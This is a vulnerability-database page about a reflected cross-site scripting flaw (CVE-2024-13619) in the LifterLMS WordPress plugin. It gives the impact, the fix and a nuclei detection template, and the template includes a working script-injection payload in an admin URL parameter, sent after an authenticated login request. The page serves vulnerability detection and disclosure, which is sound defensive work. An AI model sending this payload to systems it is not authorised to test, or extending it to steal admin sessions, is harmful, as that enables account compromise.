HexBrain

Browse / CVEs / CVE-2024-13619

CVE-2024-13619· CWE-79

LifterLMS < 8.0.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

LifterLMS WordPress plugin before 8.0.1 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin via a crafted request.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.

Fix

Update to version 8.0.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/edit.php?post_type=llms_form&_llms_bbp_forum_ids=1&"></script><script>alert("document_domain")</script><script>=1
Positive when: contains_all(body, "</script><script>alert(\"document_domain\")</script><script>", "llms_form") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13619 -u <target>

The full check
id: CVE-2024-13619

info:
  name: LifterLMS < 8.0.1 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    LifterLMS WordPress plugin before 8.0.1 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin via a crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to version 8.0.1 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/lifterlms/lifterlms-800-reflected-cross-site-scripting
    - https://wpscan.com/vulnerability/97a7e1a6-0fb3-49e9-86fc-ebb1d426fcca/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13619
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13619
    cwe-id: CWE-79
    epss-score: 0.00579
    epss-percentile: 0.47994
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="lifterlms"
  tags: cve,cve2024,wordpress,wp,wp-plugin,lifterlms,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=llms_form&_llms_bbp_forum_ids=1&"></script><script>alert("document_domain")</script><script>=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "</script><script>alert(\"document_domain\")</script><script>", "llms_form")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from